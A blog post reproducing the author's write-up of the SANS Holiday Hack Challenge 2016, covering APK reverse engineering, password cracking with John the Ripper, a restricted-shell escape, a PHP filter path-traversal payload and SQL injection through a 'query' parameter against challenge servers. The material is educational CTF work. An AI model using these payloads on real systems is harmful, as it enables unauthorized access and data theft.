After much stress in November and the beginning of December I felt I needed a break from my normal routine of writing my two monthly blog posts. One evening I sat at home wondering what to write about I found that the Sans Holiday Hack Challenge had just begun. I quickly decided to play spend some time playing this game. The following blog post covers my writeup submitted to Sans after solving the challenges. I submitted my writeup in PDF format – this post is almost a direct representation of it.

Part 1: A Most Curious Business Card


Part 1 consists of two questions, original numbering kept for reference

1) What is the secret message in Santa’s tweets?
2) What is inside the ZIP file distributed by Santa’s team?


What is the secret message in Santa’s tweets?

Assignment text hints heavily on Santa’s business card – which can be found as an image on the Sans Holiday Hack Challenge 2016 website. The business card gives away the following Twitter and Instagram profile name:

  • Twitter: @santawclaus
  • Instagram: @santawclaus

Preface text to assignment hint at a tool called “Twime Machine” – which is a tool for extracting all tweets for a given user. Using said tool it is trivial to download the Mr. Claus’s tweets. The clue, however, is to determine the hidden message in said tweets to find the hidden message.

Sifting through the tweets it’s made clear that Mr. Claus has embedded characters that appears misplaced, as depicted in the following picture:

Embedded characters in tweets

The characters appear at various places in each tweet and forms an ASCII art text which can be revealed in a proper viewing tool. Copying the extracted tweets over to Sublime editor, the hidden message will display in the navigation mini map:

Secret message

The secret message in Mr. Claus’s tweets: “BUG BOUNTY”.

What is inside the ZIP file distributed by Santa’s team?

The following picture extracted from Mr. Claus’ Instagram account reveal useful information to find the mentioned Zip file:

Finding secrets in image


What Where Clue
Zip filename Laptop screen
URL Paper sheet near “Violent Python” book

A combination of these clues reveal a successful download link from URL

The Zip file is password protected. Given limited information at present stage in game best effort was made by using information from assignment 1. Various combination of the sentence “BUG BOUNTY” lead to disclosure of the password as “bugbounty”. The Zip archive contains an Android application (APK) – an Instagram clone called SantaGram.

Part 2: Awesome Package Konveyance


Part 2 consists of two questions, original numbering kept for reference

3) What username and password are embedded in the APK file?
4) What is the name of the audible component (audio file) in the SantaGram APK file?


What username and password are embedded in the APK file?

Reverse engineering of this APK were done using APKTool from Linux command line followed up by searching for common strings “username” and “password” on the results, as outlined by these commands (on Linux)

$ apktool d SantaGram_4.2.apk
$ grep -Rni “username” *
$ grep -Rni “password” *

Commands revealed the following results

What Value
Username guest
Password busyreindeer78
File smali/com/northpolewonderland/santagram/b.smali

What is the name of the audible component (audio file) in the SantaGram APK file?

The audio file was found using similar approach as in question 3, searching for known audio file extensions. Sound file were found in “SantaGram_4.2/res/raw”. The name of the sound file is: “discombobulatedaudio1.mp3

Part 3: A Fresh-Baked Holiday Pi


Part 3 consists of two questions, original numbering kept for reference

5) What is the password for the “cranpi” account on the Cranberry Pi system?
6) How did you open each terminal door and where had the villain imprisoned Santa?


What is the password for the “cranpi” account on the Cranberry Pi system?

Pieces of a «Cranberry Pi», a knock off Raspberry Pi, is scattered around the North pole and for this game to progress the pieces must be found and returned in exchange for the “Cranberry Pi” software image itself; which this assignment is based on.

Pieces that had to be obtained

  • Power Cord
  • Cranberry Pi Board
  • HDMI cable
  • SD Card
  • Heat Sink

Location for each piece is withheld from this report due to the elf responsible said so and offered me cookies. Upon completion, all part was presented to elf “Holly Evergreen” in exchange for the software image “”. “Holly Evergreen” also gave this download link:

Finding offset for mounting the image on Linux

With the image in hand it was time to mount it inside my Linux installation to peek at it. First step, finding the offset for mounting:

Finding offset for mounting
Calculating offset
start * blocksize = 137216 * 512 = 70254592

With the offset, mount image inside Linux:

$ mount -o loop,offset=70254592 cranbian-jessie.img /mnt/hacking

By mounting it inside Linux it is possible to freely navigate the file and folder structure. Since “Cranberry Pi” is based on Linux and assignment is to retrieve the password for the “cranpi” user, we can easily do so by extracting the “shadow” and “passwd” file and then crack it; as evident by the following commands

$ cd /mnt/hacking/etc/
$ cp passwd /home/reedphish/sans2016/
$ cp shadow /home/reedphish/sans2016/
$ cd /home/reedphish/sans2016/
$ /usr/sbin/unshadow passwd shadow > cranbian-passwords.txt
$ /usr/sbin/john cranbian-passwords.txt --wordlist=/home/reedphish/Hacking/rockyou.txt
Cracking the password
Cracking password

Question solved by removing all other users from said files; then using “John The Ripper” together with the “Rockyou” wordlist. This process revealed that password for the “cranpi” user is “yummycookies”.

How did you open each terminal door?

Terminal 1

The first terminal is located at the far North on the game map. Main goal is to uncover the contents of a hidden file. Upon opening and issuing the “find” command without arguments command lists the current folder structure

Folder structure

Someone created a folder structure using spaces, slashes, etc. to obfuscate the file location. Following is a breakdown of how to enter the folder the file is stored in:

$ find
$ cd .doormat
$ ls -al
$ cd ". "
$ ls -al
$ cd " "
$ ls -al
$ cd '\'
$ ls -al
$ cd '\\'
$ cd Don*
$ ls -al
$ cd You*
$ ls -al
$ cd "'"
$ cat key_for_the_door_txt

Result of last command were “open_sesame”.

Terminal 2

Terminal 2 is located to the east of terminal 1; in the “train station”. Upon access terminal presents the “Train Management Console”. Novice users untrained on this console would naturally seek assistance using the “HELP” command. Internally “HELP” command show the associated help text file using the Linux command “less”. This console is vulnerable by hitting “escape” key and entering the following command: “!” or “!/bin/bash”. This will drop users into a shell. A quick “ls” reveal the following files:

  • ActivateTrain
  • TrainHelper.txt
  • Train_Console

Executing the file “ActivateTrain” will start the train, thus bypassing restrictions implemented in “Train_Console”. As a side note, train is a time travel vessel taking North pole clientele back to 1978.

Train Management Console

Terminal 3

Terminal 3 is located to the west of train station, near the reindeer stable. This terminal contain a game for finding the passphrase from the “Wumpus”. Game can be played normally or you can choose to cheat. Game is extremely easy to play and leads to the passphrase “WUMPUS IS MISUNDERSTOOD” by shooting when you smell the “Wumpus“.


Terminal 4

Fourth terminal is found in “Elf House 2”. The essence of the assignment is to read a pcap file using either “tcpdump” or “strings” command; which both are locked down to the “itchy” user. The passphrase for this terminal consists of two parts – which only the first part being covered in this report.

Using “strings” on the pcap is done through the following command

$ sudo -u itchy /usr/bin/strings –data -n 50 out.pcap

The above command will extract text of at least 50 characters wide and display it on screen. This leads to a hint for the first password part:

"lt;input name="”part1”" type="”hidden”" value="”santasli”" />

With a little imagination, the entire passphrase can be guessed to be “santaslittlehelper”. Being creative is hacking, too.

Sudo operations
Terminal 5

The fifth terminal was found in “Santa’s Office”. Upon access, it presents a cryptic welcome text “GREETINGS PROFESSOR FALKEN.

The greeting stem from the “WarGames” movie. By following the dialogue from the movie word for word the associated passphrase is revealed.

Dialogue, as played:

Computer text Answer
HOW ARE YOU FEELING TODAY? I’m fine. How are you?
YES THEY DO. SHALL WE PLAY A GAME Love to. How about Global Thermonuclear War?
WOULDN’T YOU PREFER A GOOD GAME OF CHESS? Later. Let’s play Global Thermonuclear War.

At the end, the computer asked me to add target. I entered “Las Vegas” and then I got the passphrase “LOOK AT THE PRETTY LIGHTS

Hello there professor Falken

Where had the villain imprisoned Santa?

Finding Santa involved exploiting the various terminals found scattered around the North pole. Santa was imprisoned in the far north of the map, in the reindeer dungeon (DFER); in 1978.

Found Santa!

Part 4: My Gosh… It’s Full of Holes


Part 4 consists of two questions, original numbering kept for reference


  • The Mobile Analytics Server (via credentialed login access)
  • The Dungeon Game
  • The Debug Server
  • The Banner Ad Server
  • The Uncaught Exception Handler Server
  • The Mobile Analytics Server (post authentication)

For each of those six items, which vulnerabilities did you discover and exploit?

8) What are the names of the audio files you discovered from each system above? There are a total of SEVEN audio files (one from the original APK in Question 4, plus one for each of the six items in the bullet list above.)

Please note: Although each system is remotely exploitable, we DO NOT expect every participant to compromise every element of the SantaGram infrastructure. Gain access to the ones you can. Although we will give special consideration to entries that successfully compromise all six vulnerabilities and retrieve their audio files, we happily accept partial answers and point out that they too are eligible for any of the prizes.


Changed strategy for the APK by decompiling it using “Jadx“. Having the Java source ready makes grepping way easier. I found All URL’s in this section by recursive grep search in SantaGram Android APK; all URL’s found in file “/res/values/strings“.

Exploiting targets

The Mobile Analytics Server (via credentialed login access)


1) URL opened in Firefox.
2) Logged in using username “guest” and password “busyreindeer78”.
3) Noticed menu option stating “MP3”. Clicked it – downloaded “discombobulatedaudio2.mp3

MP3 download option in menu

The Dungeon Game


1) Port scanned the target
2) Found port 11111 interesting
3) Connected to port using Netcat
4) Noticed game resembled “Zork
5) Googled the manual (
6) Found out the GDT DT (Display Text) command which return text used in game based on offset.
7) Tried setting the offset high (1200) and back stepped in increments of 50 until it returned text. Then increased offset to find correct offset. Found offset 1024 returning text mentioning sending an email.
8) Created a Guerilla Mail “account” and sent an email. Soon afterwards I got a reply containing the audio file “discombobulatedaudio3.mp3”.

E-mail reply

The Debug Server


1) Recursively grepped “debug” in SantaGram APK. Found reference to

2) Visited URL in Firefox – page displayed no content.
3) Recursively grepped “debug_data_collection_url”; found it referenced in

4) Replicated the POST message in BurpSuite using following request

POST /index.php HTTP/1.1
Content-Type: application/json
Content-Length: 150

"date": 2,
"udid": 1,
"debug": "com.northpolewonderland.santagram.EditProfile, EditProfile",
"freemem": 1

The “debug” key needed some time to grasp.

5) Noticed return value contained key “verbose”. Added it to POST request

POST /index.php HTTP/1.1
Content-Type: application/json
Content-Length: 150

"date": 2,
"udid": 1,
"debug": "com.northpolewonderland.santagram.EditProfile, EditProfile",
"freemem": 1,
"verbose": true

6) Endpoint returned the following answer containing a reference to the MP3 file

{"date":"20161226094132","date.len":14,"status":"OK","status.len":"2","filename":"debug-20161226094132-0.txt","filename.len":26,"request":{"date":2,"udid":1,"debug":"com.northpolewonderland.santagram.EditProfile, EditProfile","freemem":1,"verbose":true},"files":["debug-20161224235959-0.mp3","debug-20161226091854-0.txt","debug-20161226092035-0.txt","debug-20161226093735-0.txt","debug-20161226093743-0.txt","debug-20161226094122-0.txt","debug-20161226094132-0.txt","index.php"]}

7) Downloaded the MP3 from


The Banner Ad Server


1) Recursively grepped “ads.” in SantaGram APK. Found reference to

2) Read this blog:
3) Downloaded Chromium
4) Added TamperMonkey
5) Added Meteor Miner script:
6) Navigated around and landed on:
7) Looked at ”HomeQuotes” using the TamperMonkey script
8) Ran this command in Chrome Console: HomeQuotes.find().fetch()
9) Noticed one of the objects marked as “hidden
10) Opened the object and found a link to the object

Meteor mining

11) Opened the reference and downloaded “discombobulatedaudio5.mp3

The Uncaught Exception Handler Server



1) Recursively grepped “exception” in SantaGram APK. Found reference to

2) Visited URL in Firefox; got message that it only accepts POST requests
3) Sent an empty POST request using BurpSuite

POST /exception.php HTTP/1.1
Content-Length: 6
Content-type: application/json

4) Got reply “POST contains invalid JSON!
5) Sent another request with an empty JSON object, got reply

Fatal error! JSON key ‘operation’ must be set to WriteCrashDump or ReadCrashDump.

6) Sent another request with “operation” set to “ReadCrashDump”, got reply

Fatal error! JSON key ‘data’ must be set.

7) Sent another request with “data” set to blank (“”), got reply

Fatal error! JSON key ‘crashdump’ must be set.

8) Experimented with where to set the “crashdump” key. Ended up with the following which caused a HTTP 500 error

POST /exception.php HTTP/1.1
Content-Length: 66
Content-type: application/json

"operation": "ReadCrashDump",
"data": { "crashdump": "" }

9) Reverting to investigate “WriteCrashDump”. Following the same methodology as earlier I ended up with this request

POST /exception.php HTTP/1.1
Content-Length: 60
Content-type: application/json

"operation": "WriteCrashDump",
"data": {}

Which caused this reply

HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Mon, 26 Dec 2016 10:54:41 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Content-Length: 81

"success" : true,
"folder" : "docs",
"crashdump" : "crashdump-lOWfb2.php"

10) Since response mention dump being read from the “docs” folder I move on to try to read other files using PHP filters combined with path traversal

POST /exception.php HTTP/1.1
Content-Length: 150
Content-type: application/json

"operation": "ReadCrashDump",
"data": { "crashdump": "php://filter/convert.base64-encode/resource=../exception" },
"crashdump": "crashdump"

11). Response returned the “exception.php” file in Base64 encoded format. File decoded

Hidden in PHP

Downloaded file “discombobulated-audio-6-XyzE3N9YqKNH.mp3

The Mobile Analytics Server (post authentication)


1) Performed a portscan

$ nmap -sC -sV
  1. Found Git repository on host using Nmap. Downloading repository
$ wget --mirror --convert-links --adjust-extension --page-requisites --no-parent

3) Checked out the code

$ git reset --hard

4) Searched for username and password in source

$ git grep "username\s=" $(git rev-list --all)
$ git grep "password\s=" $(git rev-list --all)


  • Username: administrator
  • Password: KeepWatchingTheSkies

5) Logged in on website
6) Created a Query and saved it (query id: 1ec8fca6-e02e-4c72-82d9-8efb1b4f45a1). Just added nonsense to the fields.
7) Viewed the query

8) Edited it to get a feeling on what it does keeping a note on the replies

9) Looked at the “edit.php” source and the database schema “spruce.sql” for the reports and audio table in Git repository. Noticed there’s a query column in reports table.
10) Re-edited the query adding “&query” get parameter – noticed it populated the update statement
11) Opened Burp to see how far I could go manipulating the “query” parameter

GET /edit.php?id=1ec8fca6-e02e-4c72-82d9-8efb1b4f45a1&name=1&description=1&query=select * from audio; HTTP/1.1
Content-Length: 10
Cookie: AUTH=82532b2136348aaa1fa7dd2243dc0dc1e10948231f339e5edd5770daf9eef18a4384f6e7bca04d86e573b965cc9e6549b049496263a00063b71976884152
DNT: 1

12) Refreshed the “View” page and it listed out the contents of the audio table (MP3 file is named “discombobulatedaudio7.mp3”)

Listing audio table

13) MP3 is stored as a blob in the “mp3” column, as pointed out in the SQL schema. Found a way to download the MP3 file by selecting it as Base64 encoded string

GET /edit.php?id=1ec8fca6-e02e-4c72-82d9-8efb1b4f45a1&name=1&description=1&query=select TO_BASE64(mp3) from audio where username="administrator"; HTTP/1.1
Content-Length: 10
Cookie: AUTH=82532b2136348aaa1fa7dd2243dc0dc1e10948231f339e5edd5770daf9eef18a4384f6e7bca04d86e573b965cc9e6549b049496263a00063b71976884152
DNT: 1

14) Refreshed the “View” page and got a Base64 string

Analytics 2 base64 mp3.png
Base64 encoded MP3

15) Inspected element in Firefox and copied it to Sublime, then removed all spaces. Saved the file as text file and ran Base64 decode on it

$ cat discombobulatedaudio7.txt | base64 -d > discombobulatedaudio7.mp3

16) Filename is “discombobulatedaudio7.mp3

What are the names of the audio files you discovered from each system above?

Server Name
Android APK discombobulatedaudio1.mp3
Mobile Analytics Server 1 discombobulatedaudio2.mp3
The Dungeon Game discombobulatedaudio3.mp3
Debug Server debug-20161224235959-0.mp3
Banner Ad Server discombobulatedaudio5.mp3
The Uncaught Exception Handler Server discombobulated-audio-6-XyzE3N9YqKNH.mp3
Mobile Analytics Server 2 discombobulatedaudio7.mp3

Part 5: Discombobulated Audio


Part 5 consists of two questions, original numbering kept for reference

9) Who is the villain behind the nefarious plot
10) Why had the villain abducted Santa?

Who is the villain behind the nefarious plot

To descramble the audio files, I merged the files together in sequence by using “Merge Mp3” on my Windows host. Then opened the concatenated file in “Audacity”. I removed any blank spots and reduced noise to make speech stand out. Toyed with the pitch to make the sound stand out even more. Finally, I played with various speeds. At the end, I had a sound file ca. 7 seconds in length saying:

Father Christmas, Santa Claus. Or, as I’ve always known him, Jeff.

Googled this phrase and found a quote on IMDB; appears the villain is none other than Dr. Who! Still not quite sure I walked over to the door in the “Corridor” and entered the passphrase. The door unlocked and sure enough, the villain is Dr. Who!

Dr. Who did it!

A funny side note: there’s a Tardis standing on the desk in Santa’s office.

Tardis on Santa’s desk

Why had the villain abducted Santa?

In the end Dr.Who explains why he abducted Santa:

I have looked into the time vortex and I have seen a universe in which the Star Wars Holiday Special was NEVER released. In that universe, 1978 came and went as normal. No one had to endure the misery of watching that abominable blight. People were happy there. It’s a better life, I tell you, a better world than the scarred one we endure here. give me a world like that. Just once. so I did what I had to do. I knew that Santa’s powerful North Pole Wonderland Magic could prevent the Star Wars Special from being released, if I could leverage that magic with my own abilities back in 1978. But Jeff refused to come with me, insisting on the mad idea that it is better to maintain integrity of the universe’s timeline. So I had no choice – I had to kidnap him. It was sort of one of those days. Well. You know what I mean. Anyways since you interfered with my plan, we’ll have to live with the Star Wars Holiday Special in this universe .. FOREVER. If we attempt to go back again, to cross our own timeline, we’ll cause a temporal paradox, a wound in time. We’ll never be rid of it now. The Star Wars Holiday Special will plague this world until time itself ends … All because you foiled my brilliant plan. Nice work.

In addition, Dr. Who is not in his right mind and he is a mad man with a box.


This game was awesome! I particularly liked the length of it, it having side missions (not covered here, obviously) and the variety of the challenges. I found some of the challenges a bit on the easy side, but others fitted my expectations well.

It took some time to cover the side missions. I had some issues finding all the NetWars coin spread across the North pole – but in the end I managed to find them all. I completed the main mission on the 24th December just in time for Christmas dinner.